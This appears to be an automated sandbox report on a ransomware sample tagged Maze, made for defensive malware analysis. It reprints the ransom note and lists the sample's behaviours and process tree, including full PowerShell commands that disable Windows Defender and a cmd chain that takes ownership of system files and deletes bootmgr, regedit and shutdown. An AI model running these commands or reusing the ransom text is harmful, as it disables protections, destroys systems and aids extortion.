maze | 28a062934db772364022a16d60c799b1b66b1419593d409a4cd6f5d6b52c1b85

Analysis

max time kernel
1583s
max time network
1601s
platform
windows7_x64
resource
win7-en-20210920
submitted
27-10-2021 09:06

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General

Target

b53415f6_lcvDB3iF4J.exe

Score

10^/10

maze discovery evasion exploit ransomware themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\DECRYPT-FILES.TXT

Ransom Note

Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: [email protected]

Emails

[email protected]

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Maze
Ransomware family also known as ChaCha.
trojan ransomware maze
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Disables Task Manager via registry modification
evasion

Executes dropped EXE 1 IoCs

pid	Process
1444	VSSVC.exe

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\ConnectUnprotect.png => C:\Users\Admin\Pictures\ConnectUnprotect.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\JoinClear.png => C:\Users\Admin\Pictures\JoinClear.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\JoinInitialize.png => C:\Users\Admin\Pictures\JoinInitialize.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe

Possible privilege escalation attempt 5 IoCs

exploit

pid	Process
1432	takeown.exe
1932	icacls.exe
900	takeown.exe
936	icacls.exe
1864	takeown.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b53415f6_lcvDB3iF4J.exe

Loads dropped DLL 1 IoCs

pid	Process
1776	b53415f6_lcvDB3iF4J.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1432	takeown.exe
1932	icacls.exe
900	takeown.exe
936	icacls.exe
1864	takeown.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/1776-57-0x00000000003D0000-0x00000000003D1000-memory.dmp	themida
behavioral1/files/0x000700000001221a-68.dat	themida
behavioral1/files/0x000700000001221a-70.dat	themida
behavioral1/memory/1444-74-0x0000000000330000-0x0000000000331000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	b53415f6_lcvDB3iF4J.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VSSVC.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1776	b53415f6_lcvDB3iF4J.exe
1444	VSSVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
524	powershell.exe
2024	powershell.exe
1924	powershell.exe
1804	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	1776	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	1776	b53415f6_lcvDB3iF4J.exe
Token: SeDebugPrivilege	524	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	1924	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1444	VSSVC.exe
Token: SeDebugPrivilege	1444	VSSVC.exe
Token: SeTakeOwnershipPrivilege	1432	takeown.exe
Token: SeTakeOwnershipPrivilege	900	takeown.exe
Token: SeTakeOwnershipPrivilege	1864	takeown.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 1776 wrote to memory of 524	1776	b53415f6_lcvDB3iF4J.exe	28
PID 1776 wrote to memory of 524	1776	b53415f6_lcvDB3iF4J.exe	28
PID 1776 wrote to memory of 524	1776	b53415f6_lcvDB3iF4J.exe	28
PID 1776 wrote to memory of 524	1776	b53415f6_lcvDB3iF4J.exe	28
PID 1776 wrote to memory of 1924	1776	b53415f6_lcvDB3iF4J.exe	29
PID 1776 wrote to memory of 1924	1776	b53415f6_lcvDB3iF4J.exe	29
PID 1776 wrote to memory of 1924	1776	b53415f6_lcvDB3iF4J.exe	29
PID 1776 wrote to memory of 1924	1776	b53415f6_lcvDB3iF4J.exe	29
PID 1776 wrote to memory of 1804	1776	b53415f6_lcvDB3iF4J.exe	33
PID 1776 wrote to memory of 1804	1776	b53415f6_lcvDB3iF4J.exe	33
PID 1776 wrote to memory of 1804	1776	b53415f6_lcvDB3iF4J.exe	33
PID 1776 wrote to memory of 1804	1776	b53415f6_lcvDB3iF4J.exe	33
PID 1776 wrote to memory of 2024	1776	b53415f6_lcvDB3iF4J.exe	32
PID 1776 wrote to memory of 2024	1776	b53415f6_lcvDB3iF4J.exe	32
PID 1776 wrote to memory of 2024	1776	b53415f6_lcvDB3iF4J.exe	32
PID 1776 wrote to memory of 2024	1776	b53415f6_lcvDB3iF4J.exe	32
PID 1776 wrote to memory of 1444	1776	b53415f6_lcvDB3iF4J.exe	36
PID 1776 wrote to memory of 1444	1776	b53415f6_lcvDB3iF4J.exe	36
PID 1776 wrote to memory of 1444	1776	b53415f6_lcvDB3iF4J.exe	36
PID 1776 wrote to memory of 1444	1776	b53415f6_lcvDB3iF4J.exe	36
PID 1444 wrote to memory of 1532	1444	VSSVC.exe	38
PID 1444 wrote to memory of 1532	1444	VSSVC.exe	38
PID 1444 wrote to memory of 1532	1444	VSSVC.exe	38
PID 1444 wrote to memory of 1532	1444	VSSVC.exe	38
PID 1532 wrote to memory of 1432	1532	cmd.exe	40
PID 1532 wrote to memory of 1432	1532	cmd.exe	40
PID 1532 wrote to memory of 1432	1532	cmd.exe	40
PID 1532 wrote to memory of 1432	1532	cmd.exe	40
PID 1532 wrote to memory of 1932	1532	cmd.exe	41
PID 1532 wrote to memory of 1932	1532	cmd.exe	41
PID 1532 wrote to memory of 1932	1532	cmd.exe	41
PID 1532 wrote to memory of 1932	1532	cmd.exe	41
PID 1532 wrote to memory of 900	1532	cmd.exe	42
PID 1532 wrote to memory of 900	1532	cmd.exe	42
PID 1532 wrote to memory of 900	1532	cmd.exe	42
PID 1532 wrote to memory of 900	1532	cmd.exe	42
PID 1532 wrote to memory of 936	1532	cmd.exe	43
PID 1532 wrote to memory of 936	1532	cmd.exe	43
PID 1532 wrote to memory of 936	1532	cmd.exe	43
PID 1532 wrote to memory of 936	1532	cmd.exe	43
PID 1532 wrote to memory of 1864	1532	cmd.exe	44
PID 1532 wrote to memory of 1864	1532	cmd.exe	44
PID 1532 wrote to memory of 1864	1532	cmd.exe	44
PID 1532 wrote to memory of 1864	1532	cmd.exe	44

C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe
"C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"
1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:524
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1924
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2024
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1804
- C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
  "C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
  2⤵
  - Executes dropped EXE
  - Modifies extensions of user files
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1432
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32 /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1932
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\drivers
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:900
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\drivers /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:936
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\LogonUI.exe
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/524-83-0x0000000002162000-0x0000000002164000-memory.dmp

Filesize
8KB

Download
memory/524-82-0x0000000002161000-0x0000000002162000-memory.dmp

Filesize
4KB

Download
memory/524-81-0x0000000002160000-0x0000000002161000-memory.dmp

Filesize
4KB

Download
memory/1444-74-0x0000000000330000-0x0000000000331000-memory.dmp

Filesize
4KB

Download
memory/1444-79-0x0000000005780000-0x0000000005781000-memory.dmp

Filesize
4KB

Download
memory/1776-59-0x0000000005AB0000-0x0000000005AB1000-memory.dmp

Filesize
4KB

Download
memory/1776-54-0x0000000076A81000-0x0000000076A83000-memory.dmp

Filesize
8KB

Download
memory/1776-57-0x00000000003D0000-0x00000000003D1000-memory.dmp

Filesize
4KB

Download
memory/1804-90-0x0000000002370000-0x0000000002FBA000-memory.dmp

Filesize
12.3MB

Download
memory/1804-80-0x0000000002370000-0x0000000002FBA000-memory.dmp

Filesize
12.3MB

Download
memory/1924-85-0x0000000002280000-0x0000000002ECA000-memory.dmp

Filesize
12.3MB

Download
memory/1924-88-0x0000000002280000-0x0000000002ECA000-memory.dmp

Filesize
12.3MB

Download
memory/1924-89-0x0000000002280000-0x0000000002ECA000-memory.dmp

Filesize
12.3MB

Download
memory/2024-87-0x00000000024F0000-0x000000000313A000-memory.dmp

Filesize
12.3MB

Download
memory/2024-86-0x00000000024F0000-0x000000000313A000-memory.dmp

Filesize
12.3MB

Download
memory/2024-84-0x00000000024F0000-0x000000000313A000-memory.dmp

Filesize
12.3MB

Download